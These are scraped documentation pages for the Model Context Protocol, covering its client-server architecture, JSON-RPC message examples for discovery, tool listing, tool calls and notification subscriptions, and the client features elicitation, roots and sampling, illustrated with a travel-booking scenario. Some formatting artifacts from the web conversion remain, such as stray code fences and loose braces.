- **Developers:** MCP reduces development time and complexity when building, or integrating with, an AI application or agent.
- **AI applications or agents:** MCP gives them access to an ecosystem of data sources, tools and apps, which enhances their capabilities and improves the end-user experience.
- **End-users:** MCP results in more capable AI applications or agents that can access user data and take actions on the user's behalf when necessary.

## Broad ecosystem support

---

MCP is an open protocol supported across a wide range of clients and servers. AI assistants like [Claude](#) and [ChatGPT](#), development tools like [Visual Studio Code](#), [Cursor](#), [MCPJam](#), and many others all support MCP — making it easy to build once and integrate everywhere.

## Start Building

---

### [Build servers](#)

Create MCP servers to expose your data and tools

### [Build clients](#)

Develop applications that connect to MCP servers

### [Build MCP Apps](#)

Build interactive apps that run inside AI clients

## Learn more

---

### [Architecture](#)

Learn the core concepts and architecture of MCP

### [Security](#)

Understand the security considerations and best practices for MCP

## Community

---

### [Contributing](#)

Learn how to get involved and contribute to MCP

**[mcp / docs/2026-07-28/learn](#)**

# Architecture overview

---

mcp/docs/2026-07-28/learn/architecture.mdx

This overview of the Model Context Protocol (MCP) discusses its [scope](#) and [core concepts](#), and provides an [example](#) demonstrating each core concept.

Because MCP SDKs abstract away many concerns, most developers will likely find the [data layer protocol](#) section to be the most useful. It discusses how MCP servers can provide context to an AI application.

For specific implementation details, please refer to the documentation for your [language-specific SDK](#).

## Scope

---

The Model Context Protocol includes the following projects:

- [MCP Specification](#): A specification of MCP that outlines the implementation requirements for clients and servers.
- [MCP SDKs](#): SDKs for different programming languages that implement MCP.
- **MCP Development Tools**: Tools for developing MCP servers and clients, including the [MCP Inspector](#)
- [MCP Reference Server Implementations](#): Reference implementations of MCP servers.

### 참고

MCP focuses solely on the protocol for context exchange—it does not dictate how AI applications use LLMs or manage the provided context.

## Concepts of MCP

---

### Participants

MCP follows a client-server architecture where an MCP host — an AI application like [Claude Code](#) or [Claude Desktop](#) — establishes connections to one or more MCP servers. The MCP host accomplishes this by creating one MCP client for each MCP server. Each MCP client maintains a dedicated connection with its corresponding MCP server.

Local MCP servers that use the STDIO transport typically serve a single MCP client, whereas remote MCP servers that use the Streamable HTTP transport will typically serve many MCP clients.

The key participants in the MCP architecture are:

- **MCP Host:** The AI application that coordinates and manages one or multiple MCP clients
- **MCP Client:** A component that maintains a connection to an MCP server and obtains context from an MCP server for the MCP host to use
- **MCP Server:** A program that provides context to MCP clients

**For example:** Visual Studio Code acts as an MCP host. When Visual Studio Code establishes a connection to an MCP server, such as the [Sentry MCP server](#), the Visual Studio Code runtime instantiates an MCP client object that maintains the connection to the Sentry MCP server. When Visual Studio Code subsequently connects to another MCP server, such as the [local filesystem server](#), the Visual Studio Code runtime instantiates an additional MCP client object to maintain this connection.

```
graph TB
 subgraph "MCP Host (AI Application)"
 Client1["MCP Client 1"]
 Client2["MCP Client 2"]
 Client3["MCP Client 3"]
 Client4["MCP Client 4"]
 end

 ServerA["MCP Server A - Local
(e.g. Filesystem)"]
 ServerB["MCP Server B - Local
(e.g. Database)"]
 ServerC["MCP Server C - Remote
(e.g. Sentry)"]

 Client1 ---|"Dedicated
connection"| ServerA
 Client2 ---|"Dedicated
connection"| ServerB
 Client3 ---|"Dedicated
connection"| ServerC
 Client4 ---|"Dedicated
connection"| ServerC
```

Note that **MCP server** refers to the program that serves context data, regardless of where it runs. MCP servers can execute locally or remotely. For example, when Claude Desktop launches the [filesystem server](#), the server runs locally on the same machine because it uses the STDIO transport. This is commonly referred to as a "local" MCP server. The official [Sentry MCP server](#) runs on the Sentry platform, and uses the Streamable HTTP transport. This is commonly referred to as a "remote" MCP server.

## Layers

MCP consists of two layers:

- **Data layer:** Defines the JSON-RPC based protocol for client-server communication, including capability and version discovery, and core primitives, such as tools, resources, prompts and notifications.
- **Transport layer:** Defines the communication mechanisms and channels that enable data exchange between clients and servers, including transport-specific connection establishment, message framing, and authorization.

Conceptually the data layer is the inner layer, while the transport layer is the outer layer.

## Data layer

The data layer implements a [JSON-RPC 2.0](#) based exchange protocol that defines the message structure and semantics. This layer includes:

- **Discovery:** Lets clients query a server's supported protocol versions, capabilities, and identity through the `server/discover` request
- **Server features:** Enables servers to provide core functionality including tools for AI actions, resources for context data, and prompts for interaction templates from and to the client
- **Client features:** Enables servers to elicit input from the user. Sampling is [deprecated](#) as of protocol version `2026-07-28`.
- **Utility features:** Supports additional capabilities like notifications for real-time updates and progress tracking for long-running operations

## Transport layer

The transport layer manages communication channels and authentication between clients and servers. It handles connection establishment, message framing, and secure communication between MCP participants.

MCP supports two transport mechanisms:

- **Stdio transport:** Uses standard input/output streams for direct process communication between local processes on the same machine, providing optimal performance with no network overhead.
- **Streamable HTTP transport:** Uses HTTP POST for client-to-server messages with optional Server-Sent Events for streaming capabilities. This transport enables remote server communication and supports standard HTTP authentication methods including bearer tokens, API keys, and custom headers. MCP recommends using OAuth to obtain authentication tokens.

The transport layer abstracts communication details from the protocol layer, enabling the same JSON-RPC 2.0 message format across all transport mechanisms.

## Data Layer Protocol

A core part of MCP is defining the schema and semantics between MCP clients and MCP servers. Developers will likely find the data layer — in particular, the set of [primitives](#) — to be the most interesting part of MCP. It is the part of MCP that defines the ways developers can share context from MCP servers to MCP clients.

MCP uses [JSON-RPC 2.0](#) as its underlying RPC protocol. Client and servers send requests to each other and respond accordingly. Notifications can be used when no response is required.

## Statelessness and discovery

MCP is a

stateless protocol

. Every request carries the protocol version and the capabilities

relevant to that request in its `_meta` field, so the server can process each request on its own. Clients should also identify themselves in the same field unless configured not to. Servers advertise their supported versions and capabilities through the mandatory [server/discover](#) request, which clients may send before any other request. Detailed information can be found in the [specification](#), and the [example](#) showcases the per-request metadata and the discovery sequence.

## Primitives

MCP primitives are the most important concept within MCP. They define what clients and servers can offer each other. These primitives specify the types of contextual information that can be shared with AI applications and the range of actions that can be performed.

MCP defines three core primitives that *servers* can expose:

- **Tools:** Executable functions that AI applications can invoke to perform actions (e.g., file operations, API calls, database queries)
- **Resources:** Data sources that provide contextual information to AI applications (e.g., file contents, database records, API responses)
- **Prompts:** Reusable templates that help structure interactions with language models (e.g., system prompts, few-shot examples)

Each primitive type has associated methods for discovery (`*/list`), retrieval (`*/get`), and in some cases, execution (`tools/call`). MCP clients will use the `*/list` methods to discover available primitives. For example, a client can first list all available tools (`tools/list`) and then execute them. This design allows listings to be dynamic.

As a concrete example, consider an MCP server that provides context about a database. It can expose tools for querying the database, a resource that contains the schema of the database, and a prompt that includes few-shot examples for interacting with the tools.

For more details about server primitives see [server concepts](#).

MCP also defines primitives that *clients* can expose. These primitives allow MCP server authors to build richer interactions.

- **Elicitation:** Allows servers to request additional information from users. This is useful when server authors want to get more information from the user, or ask for confirmation of an action. Servers request user input with the `elicitation/create` method.

Elicitation requests are delivered through the [Multi Round-Trip Requests](#) pattern, explained in the [elicitation overview](#).

**Deprecated:** The following client primitives are deprecated as of protocol version `2026-07-28`.

- **Sampling:** Allows servers to request language model completions from the client's AI application. This is useful when server authors want access to a language model, but want to stay model-independent and not include a language model SDK in their MCP server. Servers request completions with the `sampling/createMessage` method, also delivered through the Multi Round-Trip Requests pattern. New implementations should integrate directly with LLM provider APIs.
- **Logging:** Enables servers to send log messages to clients for debugging and monitoring purposes. New implementations should log to `stderr` (stdio transport) or use OpenTelemetry.

For more details about client primitives see [client concepts](#).

Besides server and client primitives, the protocol supports optional [extensions](#) that build on the core protocol. For example, the [Tasks extension](#) lets servers return a durable handle for long-running requests, so clients can poll for status and retrieve the result later.

## Notifications

The protocol supports real-time notifications to enable dynamic updates between servers and clients. For example, when a server's available tools change (such as when new functionality becomes available or existing tools are modified), the server can send tool update notifications to inform connected clients about these changes. Notifications are sent as JSON-RPC 2.0 notification messages (without expecting a response). Change notifications are opt-in: the client opens a long-lived [subscriptions/listen](#) stream naming the notification types it wants to receive, and the server delivers matching notifications on that stream.

## Example

---

### Data Layer

This section provides a step-by-step walkthrough of an MCP client-server interaction, focusing on the data layer protocol. We'll demonstrate discovery, tool operations, and notifications using JSON-RPC 2.0 messages.

### Discovery

As described in the [statelessness and discovery](#) section, every MCP request carries the protocol version and client capabilities in its `_meta` field, and clients should also include their identity there. A client that wants to learn what a server supports before issuing other requests sends a `server/discover` request, which every server must implement. The discovery response is typically cacheable, meaning it can be re-used so the discovery flow does not need to be performed for every request.



```
```json Discover Request { "jsonrpc": "2.0", "id": 1, "method": "server/discover", "params": {
  "_meta": { "io.modelcontextprotocol/protocolVersion": "2026-07-28",
    "io.modelcontextprotocol/clientInfo": { "name": "example-client", "version": "1.0.0" },
    "io.modelcontextprotocol/clientCapabilities": { "elicitation": {} } } } }
```

```
```json Discover Response
{
 "jsonrpc": "2.0",
 "id": 1,
 "result": {
 "resultType": "complete",
 "supportedVersions": ["2026-07-28"],
 "capabilities": {
 "tools": {
 "listChanged": true
 },
 "resources": {}
 },
 },
 "_meta": {
 "io.modelcontextprotocol/serverInfo": {
 "name": "example-server",
 "version": "1.0.0"
 }
 },
 "ttlMs": 3600000,
 "cacheScope": "public"
}
```

## Understanding the Discovery Exchange

The `_meta` fields and the discovery response together serve several purposes:

- Protocol Version Selection:** The `io.modelcontextprotocol/protocolVersion` field declares the version the client is speaking on this request, and `supportedVersions` in the response lists the versions the server accepts. If a server does not support the requested version, it rejects the request with an `UnsupportedProtocolVersionError` listing the versions it does support, and the client retries with a mutually supported version.
- Capability Discovery:** The client declares its capabilities in `io.modelcontextprotocol/clientCapabilities` on every request, and the server returns its own `capabilities` object from `server/discover`. This tells each party which [primitives](#) the other can handle (tools, resources, prompts) and whether change [notifications](#) are available, so unsupported operations are never attempted.
- Identity Exchange:** The `io.modelcontextprotocol/clientInfo` field in the request's `_meta` and the `io.modelcontextprotocol/serverInfo` field in the result's `_meta` provide identification and

versioning information for debugging and compatibility purposes.

In this example, the exchange demonstrates how MCP capabilities are declared:

### Client Capabilities:

- `"elicitation": {}` - The client declares it can gather additional input from the user when the server requests it

### Server Capabilities:

- `"tools": {"listChanged": true}` - The server supports the tools primitive and can honor a `toolsListChanged` filter in [subscriptions/listen](#). Clients that request this filter receive `notifications/tools/list_changed` when the tool list changes.
- `"resources": {}` - The server also supports the resources primitive (can handle `resources/list` and `resources/read` methods)

Calling `server/discover` is optional. Because every request carries the same `_meta` fields, a client is free to send any request directly and handle a version error if one comes back. Discovery is a convenient way to fetch the server's identity, capabilities, and supported versions in a single request.

### How This Works in AI Applications

The AI application's MCP client manager connects to configured servers and stores their discovered capabilities for later use. The application uses this information to determine which servers can provide specific types of functionality (tools, resources, prompts) and whether they support real-time updates. In the Python SDK, discovery happens while the client connects. The results are then available on the client object.

```python Pseudo-code for AI application discovery

Pseudo Code

async with Client(stdio_client(server_config)) as client: if client.server_capabilities.tools:
app.register_mcp_server(client, supports_tools=True) app.set_server_ready(client)

```
**Tool Discovery (Primitives)**
```

```
The client can discover available tools by sending a `tools/list` request. This request is fundamental to MCP's tool discovery mechanism: it allows clients to understand what tools are available on the server before attempting to use them.
```

```
```json Tools List Request  
{
 "jsonrpc": "2.0",
```

```

 "id": 2,
 "method": "tools/list",
 "params": {
 "_meta": {
 "io.modelcontextprotocol/protocolVersion": "2026-07-28",
 "io.modelcontextprotocol/clientInfo": {
 "name": "example-client",
 "version": "1.0.0"
 },
 "io.modelcontextprotocol/clientCapabilities": {
 "elicitation": {}
 }
 }
 }
 }
}

```

```

```json Tools List Response { "jsonrpc": "2.0", "id": 2, "result": { "resultType": "complete", "tools": [
{ "name": "calculator_arithmetic", "title": "Calculator", "description": "Perform mathematical
calculations including basic arithmetic, trigonometric functions, and algebraic operations",
"inputSchema": { "type": "object", "properties": { "expression": { "type": "string", "description":
"Mathematical expression to evaluate (e.g., '2 + 3 * 4', 'sin(30)', 'sqrt(16)')" } }, "required":
["expression"] } }, { "name": "weather_current", "title": "Weather Information", "description": "Get
current weather information for any location worldwide", "inputSchema": { "type": "object",
"properties": { "location": { "type": "string", "description": "City name, address, or coordinates
(latitude,longitude)" }, "units": { "type": "string", "enum": ["metric", "imperial", "kelvin"],
"description": "Temperature units to use in response", "default": "metric" } }, "required":
["location"] } } ], "ttlMs": 300000, "cacheScope": "public" } }

```

Understanding the Tool Discovery Request

The `tools/list` request requires no parameters beyond the standard `_meta` fields that accompany every MCP request. It also accepts an optional `cursor` parameter for [pagination](/specification/2026-07-28/server/utilities/pagination), which the example above omits.

Understanding the Tool Discovery Response

The response contains a `tools` array that provides comprehensive metadata about each available tool. This array-based structure allows servers to expose multiple tools simultaneously while maintaining clear boundaries between different functionalities.

Each tool object in the response includes several key fields:

- `name`: A unique identifier for the tool within the server's namespace. This serves as the primary key for tool execution and should follow a clear naming pattern (e.g., `calculator_arithmetic` rather than just `calculate`)
- `title`: A human-readable display name for the tool that clients can show to users
- `description`: Detailed explanation of what the tool does and when to use it

```
- inputSchema: A JSON Schema that defines the expected input parameters, enabling type validation and providing clear documentation about required and optional parameters
```

The result is marked `"resultType": "complete"` and carries two caching fields. `ttlMs` is a freshness hint in milliseconds, so this tool list can be cached for five minutes. `cacheScope` indicates who may reuse the response. The specification's [caching utility](/specification/2026-07-28/server/utilities/caching) defines the full rules.

How This Works in AI Applications

The AI application fetches available tools from all connected MCP servers and combines them into a unified tool registry that the language model can access. This allows the LLM to understand what actions it can perform and automatically generates the appropriate tool calls during conversations.

```
python Pseudo-code for AI application tool discovery  
# Pseudo-code using MCP Python SDK patterns  
available_tools = []  
for client in app.mcp_clients():  
    tools_response = await client.list_tools()  
    available_tools.extend(tools_response.tools)  
conversation.register_available_tools(available_tools)
```

Clients that federate many servers can use [progressive tool discovery](#) rather than loading every tool upfront.

Tool Execution (Primitives)

The client can now execute a tool using the `tools/call` method. This demonstrates how MCP primitives are used in practice: after discovering available tools, the client can invoke them with appropriate arguments.

Understanding the Tool Execution Request

The `tools/call` request follows a structured format that ensures type safety and clear communication between client and server. Note that we're using the proper tool name from the discovery response (`weather_current`) rather than a simplified name:

```
json Tool Call Request { "jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": { "name": "weather_current", "arguments": { "location": "San Francisco", "units": "imperial" }, "_meta": { "io.modelcontextprotocol/protocolVersion": "2026-07-28", "io.modelcontextprotocol/clientInfo": { "name": "example-client", "version": "1.0.0" }, "io.modelcontextprotocol/clientCapabilities": { "elicitation": {} } } }
```

```
json Tool Call Response  
{  
    "jsonrpc": "2.0",  
    "id": 3,
```

```
"result": {
  "resultType": "complete",
  "content": [
    {
      "type": "text",
      "text": "Current weather in San Francisco: 68°F, partly cloudy with light winds from the west at 8 mph. Humidity: 65%"
    }
  ]
}
```

Key Elements of Tool Execution

The request structure includes several important components:

1. **name**: Must match exactly the tool name from the discovery response (`weather_current`). This ensures the server can correctly identify which tool to execute.
2. **arguments**: Contains the input parameters as defined by the tool's `inputSchema`. In this example: - `location`: "San Francisco" (required parameter) - `units`: "imperial" (optional parameter, defaults to "metric" if not specified)
3. **_meta**: Carries the standard per-request fields: the protocol version and client capabilities that every MCP request must include, plus the client's identity, which clients should include unless configured not to.
4. **JSON-RPC Structure**: Uses standard JSON-RPC 2.0 format with unique `id` for request-response correlation.

Understanding the Tool Execution Response

The response demonstrates MCP's flexible content system:

1. **content Array**: Tool responses return an array of content objects, allowing for rich, multi-format responses (text, images, resources, etc.)
2. **Content Types**: Each content object has a `type` field. In this example, `"type": "text"` indicates plain text content, but MCP supports various content types for different use cases.
3. **Structured Output**: The response provides actionable information that the AI application can use as context for language model interactions.

This execution pattern allows AI applications to dynamically invoke server functionality and receive structured responses that can be integrated into conversations with language models.

How This Works in AI Applications

When the language model decides to use a tool during a conversation, the AI application intercepts the tool call, routes it to the appropriate MCP server, executes it, and returns the results back to the LLM as part of the conversation flow. This enables the LLM to access real-time data and perform actions in the external world.

```
# Pseudo-code for AI application tool execution
async def handle_tool_call(conversation, tool_name, arguments):
    client = app.find_mcp_client_for_tool(tool_name)
    result = await client.call_tool(tool_name, arguments)
    conversation.add_tool_result(result.content)
```

Real-time Updates (Notifications)

MCP supports real-time notifications that enable servers to inform clients about changes without being polled for them. This demonstrates the notification system, a key feature that keeps clients synchronized and responsive.

Subscribing to Changes

Change notifications are opt-in. To receive them, the client opens a long-lived notification stream by sending a [subscriptions/listen](#) request with a `notifications` filter naming the event types it wants. Here the client asks for tool list changes:

```
` `` `json Listen Request { "jsonrpc": "2.0", "id": 4, "method": "subscriptions/listen", "params": {
  "_meta": { "io.modelcontextprotocol/protocolVersion": "2026-07-28",
    "io.modelcontextprotocol/clientInfo": { "name": "example-client", "version": "1.0.0" },
    "io.modelcontextprotocol/clientCapabilities": { "elicitation": {} } }, "notifications": {
    "toolsListChanged": true } } }
```

Every client request carries the `io.modelcontextprotocol/protocolVersion` and `io.modelcontextprotocol/clientCapabilities` fields in `_meta`, and normally `io.modelcontextprotocol/clientInfo` as well, so the server can identify the client without relying on connection state.

The server acknowledges the subscription with `notifications/subscriptions/acknowledged`, which is the first message carrying that subscription's ID in `_meta` (the server sends no other notification for that subscription before it). Its `notifications` field reflects the subset of the requested filter the server agreed to honor, with unsupported notification types omitted:

```
` `` `json Acknowledgment
{
  "jsonrpc": "2.0",
  "method": "notifications/subscriptions/acknowledged",
  "params": {
    "_meta": {
      "io.modelcontextprotocol/subscriptionId": 4
```

```

    },
    "notifications": {
      "toolsListChanged": true
    }
  }
}

```

Understanding Tool List Change Notifications

After the acknowledgment, when the server's available tools change (for example, when new functionality becomes available, existing tools are modified, or tools become temporarily unavailable), the server delivers a notification on that stream:

```

```json Notification { "jsonrpc": "2.0", "method": "notifications/tools/list_changed", "params": {
 "_meta": { "io.modelcontextprotocol/subscriptionId": 4 } } }

```

### #### Key Features of MCP Notifications

1. **No Response Required**: Notice there's no `id` field in the notification. This follows JSON-RPC 2.0 notification semantics where no response is expected or sent.
2. **Opt-In Based**: This notification is only sent to clients that requested `"toolsListChanged": true` in their `subscriptions/listen` filter, and it is only available from servers that declared `"listChanged": true` in their tools capability (as shown in Step 1).
3. **Subscription-ID Tagging**: Every notification on the stream carries `io.modelcontextprotocol/subscriptionId` in `_meta`. The value is the JSON-RPC ID of the `subscriptions/listen` request that opened the stream (`4` in this example), so clients can correlate each notification with the subscription that produced it.
4. **Event-Driven**: The server decides when to send notifications based on internal state changes, making MCP connections dynamic and responsive.
5. **Best Effort**: There are no guarantees that every notification will be sent or received, particularly across transport reconnects. Clients should also rely on polling to preserve freshness of results.

### #### Client Response to Notifications

Upon receiving this notification, the client typically reacts by requesting the updated tool list. This creates a refresh cycle that keeps the client's understanding of available tools current:

```

```json Request
{
  "jsonrpc": "2.0",
  "id": 5,
  "method": "tools/list",

```

```

"params": {
  "_meta": {
    "io.modelcontextprotocol/protocolVersion": "2026-07-28",
    "io.modelcontextprotocol/clientInfo": {
      "name": "example-client",
      "version": "1.0.0"
    },
    "io.modelcontextprotocol/clientCapabilities": {
      "elicitation": {}
    }
  }
}
}
}

```

Why Notifications Matter

This notification system is crucial for several reasons:

1. **Dynamic Environments:** Tools may come and go based on server state, external dependencies, or user permissions
2. **Efficiency:** Clients don't need to poll for changes; they're notified when updates occur
3. **Consistency:** Ensures clients always have accurate information about available server capabilities
4. **Real-time Collaboration:** Enables responsive AI applications that can adapt to changing contexts

This notification pattern extends beyond tools to other MCP primitives, enabling comprehensive real-time synchronization between clients and servers.

How This Works in AI Applications

The AI application keeps a notification stream open for the changes it cares about. When one arrives, it immediately refreshes its tool registry and updates the LLM's available capabilities. This ensures that ongoing conversations always have access to the most current set of tools, and the LLM can dynamically adapt to new functionality as it becomes available.

```

# Pseudo-code for AI application notification handling
async def follow_tool_changes(client):
    async with client.listen(tools_list_changed=True) as sub:
        async for _event in sub:
            tools_response = await client.list_tools()
            app.update_available_tools(client, tools_response.tools)
            if app.conversation.is_active():
                app.conversation.notify_llm_of_new_capabilities()

```


Understanding MCP clients

mcp/docs/2026-07-28/learn/client-concepts.mdx

MCP clients are instantiated by host applications to communicate with particular MCP servers. The host application, like Claude.ai or an IDE, manages the overall user experience and coordinates multiple clients. Each client handles one direct communication with one server.

Understanding the distinction is important: the *host* is the application users interact with, while *clients* are the protocol-level components that enable server connections.

Core Client Features

In addition to making use of context provided by servers, clients may provide several features to servers. These client features allow server authors to build richer interactions.

Feature	Explanation	Example
Elicitation	Elicitation enables servers to request specific information from users during interactions, providing a structured way for servers to gather information on demand.	A server booking travel may ask for the user's preferences on airplane seats, room type or their contact number to finalize a booking.
Roots	Roots allow clients to specify which directories servers should focus on, communicating intended scope through a coordination mechanism. Roots are deprecated as of protocol version 2026-07-28.	A server for booking travel may be given access to a specific directory, from which it can read a user's calendar.
Sampling	Sampling allows servers to request LLM completions through the client, enabling an agentic workflow. This approach puts the client in complete control of user permissions and security measures. Sampling is deprecated as of protocol version 2026-07-28.	A server for booking travel may send a list of flights to an LLM and request that the LLM pick the best flight for the user.

Elicitation

Elicitation enables servers to request specific information from users during interactions, creating more dynamic and responsive workflows.

Overview

Elicitation provides a structured way for servers to gather necessary information on demand. Instead of requiring all information up front or failing when data is missing, servers can pause their

operations to request specific inputs from users. This creates more flexible interactions where servers adapt to user needs rather than following rigid patterns.

Elicitation supports two modes:

- **Form mode:** The server asks the client to collect structured data from the user. The request includes a schema that the client uses to build an input form and validate the response.
- **URL mode:** The server provides a URL for the user to open. The interaction happens out of band and its data never passes through the client, which makes this mode suitable for sensitive flows such as credential entry or third-party OAuth authorization.

Elicitation follows the [Multi Round-Trip Requests](#) (MRTR) pattern. When a server needs user input while processing a request such as `tools/call`, it responds with an `InputRequiredResult` whose `inputRequests` field carries one or more `elicitation/create` requests. The client gathers the input and retries the original request, attaching the collected `inputResponses` and echoing back any `requestState` the server included.

Elicitation flow:

```
sequenceDiagram
    participant User
    participant Client
    participant Server

    Client->>Server: tools/call (id: 1)
    Note over Server: Server needs more information
    Server-->>Client: InputRequiredResult with elicitation/create request

    Note over Client,User: Human interaction
    Client->>User: Present elicitation UI
    User-->>Client: Provide requested information

    Note over Client,Server: Retry request with user input
    Client->>Server: tools/call (id: 2, inputResponses)

    Note over Server: Continue processing with new information
    Server-->>Client: Final result
```

The flow enables dynamic information gathering. Servers can request specific data when needed, users provide information through appropriate UI, and servers complete the retried request with the newly acquired context.

Elicitation request example (delivered inside `InputRequiredResult.inputRequests`):

```
{
  method: "elicitation/create",
  params: {
    mode: "form",
```

```

message: "Please confirm your Barcelona vacation booking details:",
requestedSchema: {
  type: "object",
  properties: {
    confirmBooking: {
      type: "boolean",
      description: "Confirm the booking (Flights + Hotel = $3,000)"
    },
    seatPreference: {
      type: "string",
      enum: ["window", "aisle", "no preference"],
      description: "Preferred seat type for flights"
    },
    roomType: {
      type: "string",
      enum: ["sea view", "city view", "garden view"],
      description: "Preferred room type at hotel"
    },
    travelInsurance: {
      type: "boolean",
      default: false,
      description: "Add travel insurance ($150)"
    }
  },
  required: ["confirmBooking"]
}
}
}

```

Example: Holiday Booking Approval

A travel booking server demonstrates elicitation's power through the final booking confirmation process. When a user has selected their ideal vacation package to Barcelona, the server needs to gather final approval and any missing details before proceeding.

The server elicits booking confirmation with a structured request that includes the trip summary (Barcelona flights June 15-22, beachfront hotel, total \$3,000) and fields for any additional preferences—such as seat selection, room type, or travel insurance options.

As the booking progresses, the server elicits contact information needed to complete the reservation. It might ask for traveler details for flight bookings, special requests for the hotel, or emergency contact information.

User Interaction Model

Elicitation interactions are designed to be clear, contextual, and respectful of user autonomy:

Request presentation: Clients display elicitation requests with clear context about which server is asking, why the information is needed, and how it will be used. The request message explains the

purpose while the schema provides structure and validation.

Response options: Users can provide the requested information through appropriate UI controls (text fields, dropdowns, checkboxes), decline to provide information with optional explanation, or cancel the entire operation. Clients validate responses against the provided schema before returning them to servers.

URL handling: For URL mode, clients show the full URL and gather explicit consent before opening it, and never fetch the URL automatically. The client only learns whether the user consented. The interaction itself stays between the user and the target site.

Privacy considerations: Servers must not use form mode to request sensitive information such as passwords, API keys, access tokens, or payment credentials. Those interactions belong in URL mode, which keeps the data out of band so it never passes through the client or the LLM context. Clients warn about suspicious requests and let users review form data before sending.

Roots

주의

Roots are [deprecated](#) as of protocol version 2026-07-28 and scheduled for removal. New implementations should pass directories or files via tool parameters, resource URIs, or server configuration instead.

Roots define filesystem boundaries for server operations, allowing clients to specify which directories servers should focus on.

Overview

Roots are a mechanism for clients to communicate filesystem access boundaries to servers. They consist of file URIs that indicate directories where servers can operate, helping servers understand the scope of available files and folders. While roots communicate intended boundaries, they do not enforce security restrictions. Actual security must be enforced at the operating system level, via file permissions and/or sandboxing.

Root structure:

```
{
  "uri": "file:///Users/agent/travel-planning",
  "name": "Travel Planning Workspace"
}
```

Roots are exclusively filesystem paths and always use the `file://` URI scheme. They help servers understand project boundaries, workspace organization, and accessible directories. The roots list

can change as users work with different projects or folders. Servers pick up the updated boundaries the next time they request the roots list.

Example: Travel Planning Workspace

A travel agent working with multiple client trips benefits from roots to organize filesystem access. Consider a workspace with different directories for various aspects of travel planning.

The client provides filesystem roots to the travel planning server:

- `file:///Users/agent/travel-planning` - Main workspace containing all travel files
- `file:///Users/agent/travel-templates` - Reusable itinerary templates and resources
- `file:///Users/agent/client-documents` - Client passports and travel documents

When the agent creates a Barcelona itinerary, well-behaved servers respect these boundaries—accessing templates, saving the new itinerary, and referencing client documents within the specified roots. Servers typically access files within roots by using relative paths from the root directories or by utilizing file search tools that respect the root boundaries.

If the agent opens an archive folder like `file:///Users/agent/archive/2023-trips`, the client adds it to the roots list, and the server sees the new boundary on its next `roots/list` request.

For a complete implementation of a server that respects roots, see the [filesystem server](#) in the official servers repository.

Design Philosophy

Roots serve as a coordination mechanism between clients and servers, not a security boundary. The specification requires that servers "SHOULD respect root boundaries," and not that they "MUST enforce" them, because servers run code the client cannot control.

Roots work best when servers are trusted or vetted, users understand their advisory nature, and the goal is preventing accidents rather than stopping malicious behavior. They excel at context scoping (telling servers where to focus), accident prevention (helping well-behaved servers stay in bounds), and workflow organization (such as managing project boundaries automatically).

User Interaction Model

Roots are typically managed automatically by host applications based on user actions, though some applications may expose manual root management:

Automatic root detection: When users open folders, clients automatically expose them as roots. Opening a travel workspace allows the client to expose that directory as a root, helping servers understand which itineraries and documents are in scope for the current work.

Manual root configuration: Advanced users can specify roots through configuration. For example, adding `/travel-templates` for reusable resources while excluding directories with financial records.

Sampling

주의

Sampling is [deprecated](#) as of protocol version 2026-07-28 and scheduled for removal. New implementations should integrate directly with LLM provider APIs instead.

Sampling allows servers to request language model completions through the client, enabling agentic behaviors while maintaining security and user control.

Overview

Sampling enables servers to perform AI-dependent tasks without directly integrating with or paying for AI models. Instead, servers can request that the client—which already has AI model access—handle these tasks on their behalf. This approach puts the client in complete control of user permissions and security measures. Because sampling requests occur within the context of other operations—like a tool analyzing data—and are processed as separate model calls, they maintain clear boundaries between different contexts, allowing for more efficient use of the context window.

Sampling follows the same [Multi Round-Trip Requests](#) flow described under [elicitation](#), with the `InputRequiredResult` carrying a `sampling/createMessage` request.

Servers can also request tool use during sampling by including a `tools` array and an optional `toolChoice` field in the request. The tool definitions are scoped to that sampling request and do not need to correspond to tools the server exposes. Clients declare support through the `sampling.tools` capability, and servers must not send tool-enabled sampling requests to clients that have not declared it. See [sampling](#) in the specification for details.

Sampling flow:

```
sequenceDiagram
    participant LLM
    participant User
    participant Client
    participant Server

    Client->>Server: tools/call (id: 1)
    Note over Server: Server needs an LLM completion
    Server-->>Client: InputRequiredResult with sampling/createMessage request

    Note over Client,User: Human-in-the-loop review
    Client->>User: Present request for approval
    User-->>Client: Review and approve/modify

    Note over Client,LLM: Model interaction
    Client->>LLM: Forward approved request
    LLM-->>Client: Return generation
```

```
Note over Client,User: Response review
Client->>User: Present response for approval
User-->>Client: Review and approve/modify

Note over Client,Server: Retry request with approved response
Client->>Server: tools/call (id: 2, inputResponses)
Server-->>Client: Final result
```

The flow ensures security through multiple human-in-the-loop checkpoints. Users review and can modify both the initial request and the generated response before the client retries the original request with it.

Request parameters example:

```
{
  messages: [
    {
      role: "user",
      content: {
        type: "text",
        text: "Analyze these flight options and recommend the best choice:\n" +
              "[47 flights with prices, times, airlines, and layovers]\n" +
              "User preferences: morning departure, max 1 layover"
      }
    }
  ],
  modelPreferences: {
    hints: [{
      name: "claude-sonnet-4-20250514" // Suggested model
    }],
    costPriority: 0.3, // Less concerned about API cost
    speedPriority: 0.2, // Can wait for thorough analysis
    intelligencePriority: 0.9 // Need complex trade-off evaluation
  },
  systemPrompt: "You are a travel expert helping users find the best flights based on their preferences",
  maxTokens: 1500
}
```

Example: Flight Analysis Tool

Consider a travel booking server with a tool called `findBestFlight` that uses sampling to analyze available flights and recommend the optimal choice. When a user asks "Book me the best flight to Barcelona next month," the tool needs AI assistance to evaluate complex trade-offs.

The tool queries airline APIs and gathers 47 flight options. It then requests AI assistance to analyze these options: "Analyze these flight options and recommend the best choice: [47 flights with prices,

times, airlines, and layovers] User preferences: morning departure, max 1 layover."

The client initiates the sampling request, allowing the AI to evaluate trade-offs—like cheaper red-eye flights versus convenient morning departures. The tool uses this analysis to present the top three recommendations.

User Interaction Model

While not a requirement, sampling is designed to allow human-in-the-loop control. Users can maintain oversight through several mechanisms:

Approval controls: Sampling requests may require explicit user consent. Clients can show what the server wants to analyze and why. Users can approve, deny, or modify requests.

Transparency features: Clients can display the exact prompt, model selection, and token limits, allowing users to review AI responses before they return to the server.

Configuration options: Users can set model preferences, configure auto-approval for trusted operations, or require approval for everything. Clients may provide options to redact sensitive information.

Security considerations: Both clients and servers must handle sensitive data appropriately during sampling. Clients should implement rate limiting and validate all message content. The human-in-the-loop design ensures that server-requested AI interactions cannot compromise security or access sensitive data without explicit user consent.

Understanding MCP servers

mcp/docs/2026-07-28/learn/server-concepts.mdx

MCP servers are programs that expose specific capabilities to AI applications through standardized protocol interfaces.

